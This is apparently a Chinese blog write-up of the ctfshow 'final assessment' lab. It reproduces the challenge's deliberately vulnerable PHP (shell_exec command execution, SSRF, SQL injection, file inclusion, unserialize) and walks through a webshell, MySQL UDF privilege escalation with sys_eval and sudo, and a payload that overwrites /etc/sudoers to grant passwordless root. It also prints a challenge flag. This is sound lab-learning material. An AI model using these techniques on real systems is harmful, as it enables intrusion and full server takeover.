ctfshow终极考核(未完)

前言

第一次接触这内网渗透,收获还是挺多的!对思路的提升还是很不错的!下面一起来品鉴一下吧!着重整体思路的分析,有些细节可能不会去写!

信息收集和漏洞利用

我们的目标其实就是围绕这3个标题展开的

/index.php

抓包响应头里面有个flag,目录扫描扫出个source.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
include 'init.php';

function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'æ·»åŠ æˆåŠŸ'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}

return json_encode($ret);
}

function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='ç”¨æˆ·ä¸å­˜åœ¨æˆ–æ— æƒæ›´æ–°';
}

return json_encode($ret);
}

function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'åˆ é™¤æˆåŠŸ'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='ç”¨æˆ·ä¸å­˜åœ¨æˆ–æ— æƒåˆ é™¤';
}

return json_encode($ret);

}

function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function initCache(){
return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}

function clearCache(){
shell_exec('rm -rf cache.php');
return 'ok';
}

function flushCache(){
if(file_exists('cache.php') && file_get_contents('cache.php')===false){
return FLAG646;
}else{
return '';
}
}

function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);

if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;

}
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}

return json_encode($ret);
}
?>

全是一些函数不知道有啥用!

网页源码的css路径泄露了目录!/system36d/。这个页面的利用价值已经没了,进入下一个环节

/system36d/

访问这个目录,发现有重定向,抓包分析!拿到web642的flag

然后是个密码锁,发现在尝试密码的时候无数据包的发生,那么处理逻辑一定是前端js,果然密码是0x36D,并且拿到web644的flag!

来到后台,一堆功能挨个去试一试,但是黑盒,这里其实还可以顺便去扫一下这个目录!

结果如下:

  1. 数据备份拿到web645的flag
  2. 远程更新发现有个ssrf可以用来读本地文件
  3. 网络测试可以执行仅字母rce(ls 列出当前目录下的文件)
1
2
3
4
5
6
7
8
9
10
11
12
13
checklogin.php
db/
index.php
init.php
login.php
logout.php
main.php
secret.txt
static/
update.php
update2.php
users.php
util

挨个利用ssrf去读,secret.txt拿到web643的flag

users.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-26 10:25:59
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'list':
$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
break;
case 'add':
$ret = addUser($data,$_GET['username'],$_GET['password']);
break;
case 'del':
$ret = delUser($data,$_GET['username']);
break;
case 'update':
$ret = updateUser($data,$_GET['username'],$_GET['password']);
break;
case 'backup':
backupUsers();
break;
case 'upload':
$ret = recoveryUsers();
break;
case 'phpInfo':
$ret = phpInfoTest();
break;
case 'netTest':
$ret = netTest($_GET['cmd']);
break;
case 'remoteUpdate':
$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
break;
case 'authKeyValidate':
$ret = authKeyValidate($_GET['auth']);
break;
case 'evilString':
evilString($_GET['m']);
break;
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
case 'evilArray':
evilArray($_GET['m'],$_GET['key']);
break;
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
$ret = array(
'code'=>0,
'message'=>'数据获取成功',
'data'=>array()
);


$isadmin = '否';
$pass = '';
$content='无';

$users = explode('|', $data);
array_pop($users);
$index = 1;

foreach ($users as $u) {
if(explode('@', $u)[0]=='admin'){
$isadmin = '是';
$pass = 'flag就是管理员的密码,不过我隐藏了';
$content = '删除此条记录后flag就会消失';
}else{
$pass = explode('@', $u)[1];
}
array_push($ret['data'], array(
'id'=>$index,
'username'=>explode('@', $u)[0],
'password'=>$pass,
'isAdmin'=>$isadmin,
'content'=>$content
));
$index +=1;
}
$ret['count']=$index;
$start = ($page-1)*$limit;
$ret['data']=array_slice($ret['data'], $start,$limit,true);

return json_encode($ret);

}

function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}

return json_encode($ret);
}

function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}

return json_encode($ret);
}

function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);

}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}

return json_encode($ret);

}

function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function backupUsers(){
$file_name = DB_PATH;
if (! file_exists ($file_name )) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen ($file_name, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ($file_name));
Header ( "Content-Disposition: attachment; filename=backup.dat");
echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));
fclose ( $file );
exit ();
}
}

function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}


function recoveryUsers(){
$ret = array(
'code'=>0,
'message'=>'恢复成功'
);
if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
$file_name= $_FILES['file']['tmp_name'];
$result = move_uploaded_file($file_name, DB_PATH);
if($result===false){
$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
}

}else{
$ret['message']='数据恢复失败';
}

return json_encode($ret);
}

function phpInfoTest(){
return phpinfo();

}

function authKeyValidate($auth){
$ret = array(
'code'=>0,
'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
);
return json_encode($ret);
}

function remoteUpdate($auth,$address){
$ret = array(
'code'=>0,
'message'=>'更新失败'
);

if($auth!==substr(FLAG645, 8)){
$ret['message']='权限key验证失败';
return json_encode($ret);
}else{
$content = file_get_contents($address);
$ret['message']=($content!==false?$content:'地址不可达');
}

return json_encode($ret);


}

function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}

}

function evilClass($m,$k){
class ctfshow{
public $m;
public function construct($m){
$this->$m=$m;
}
}

$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}

}

function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}

function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}

function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}

function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);

if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}

return json_encode($ret);
}

挨个去打即可!

记点:

1
2
3
4
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}

两个打法:getenv和session_id(获取当前的PHPSESSID)

下个环节!

/page.php

利用ssrf拿源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-25 16:22:25
# @Last Modified by: h1xa
# @Last Modified time: 2021-07-25 16:22:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';

$id = isset($_GET['id'])?$_GET['id']:'1';

//转换' " \ 来实现防注入
$id = addslashes($id);

$name = db::get_username($id);
?>

牵扯到/system36/util/deutil.php继续拿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class db
{
private static $host = 'localhost';
private static $username = 'root';
private static $password = 'root';
private static $database = 'ctfshow';
private static $conn;

public static function get_key()
{
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if ($res) {
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}

public static function get_username($id)
{
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if ($res) {
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}

private static function get_conn()
{
if (self::$conn == null) {
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}

private static function close()
{
if (self::$conn !== null) {
self::$conn->close();
}
}

}

一个sql注入闭合括号就可以打正常注入拿到key即可!

之前以为/system36d/util/ 403下面的文件也是403,现在看来并非,所以直接扫出个common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

include 'dbutil.php';

// 验证 GET 参数 k 是否等于 FLAG651 的内容
if ($_GET['k'] !== shell_exec('cat /FLAG/FLAG651')) {
die('651flag未拿到');
}

// 验证 POST 参数存在且文件存在,同时验证 key 与数据库中的 key 一致
if (isset($_POST['file']) && file_exists($_POST['file'])) {
if (db::get_key() == $_POST['key']) {
include __DIR__ . DIRECTORY_SEPARATOR . $_POST['file'];
}
}
?>

一个文件包含的口子,用来包含我们的马吧

法一:session包含,phpinfo里面看了下配置项开了,直接写

法二:之前init.php里面知道了备份文件的路径,我们利用恢复功能可以打

权限提升

有马了,用蚁剑链接呗!但是权限太低了,提权咯,suid下面有一个但是用不了,不知道为啥可能和交互有关吧!这里知道数据库密码我们用udf提权!(具体怎么提可以问我)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#由于数据库限制了文件操作的目录,所以只能配合cp命令进行操作目录了
#先写一个恶意的so动态链接文件
#然后cp移动到插件目录/udf.so
#创建恶意函数
create function sys_eval returns string soname 'udf.so';
# 看看成功没
select * from mysql.func where name = 'sys_eval';
# 执行命令
select sys_eval('sudo ls /root');
select sys_eval('sudo cat /root/you_win');

祝贺你,你已经完全控制了这台服务器,为你一路以来的坚持和努力,点赞!

真不容易啊,师傅好样的!

不过别高兴的太早,这只是第一关,后面还有更艰难的挑战,你准备好了吗!

对了,这是给你的flag

flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}

——大菜鸡 2021年8月2日02时12�

直接成功!现在是提权成功了,为了操作方便我们还是想在蚁剑的虚拟终端去执行命令而不是用sql语句去执行!一开始我的想法直接改密码不就行了,但是蚁剑的虚拟终端不是题目的shell啊,没有交互式,即使改了密码也没法输入!那么这里有另外的办法就是给www-data这个用户也添加上sudo!

需要注意的是不要去改/etc/sudoers这个文件的权限,这个文件的权限如果过于宽松的话就会拒绝所有的sudo命令,mysql的也不行了,就只能重开靶机再打了!所以这里我们利用cp去进行文件的移动!

1
2
3
4
5
6
7
利用前面的文件包含写入
<?php file_put_contents('sudoers','root ALL=(ALL) ALL
@includedir /etc/sudoers.d
mysql ALL=(ALL:ALL) NOPASSWD:ALL
www-data ALL=(ALL:ALL) NOPASSWD:ALL');?>
移动
select sys_eval('sudo cp /var/www/html/system36d/util/sudoers /etc/sudoers');

内网横向

没太了解不是很会欠着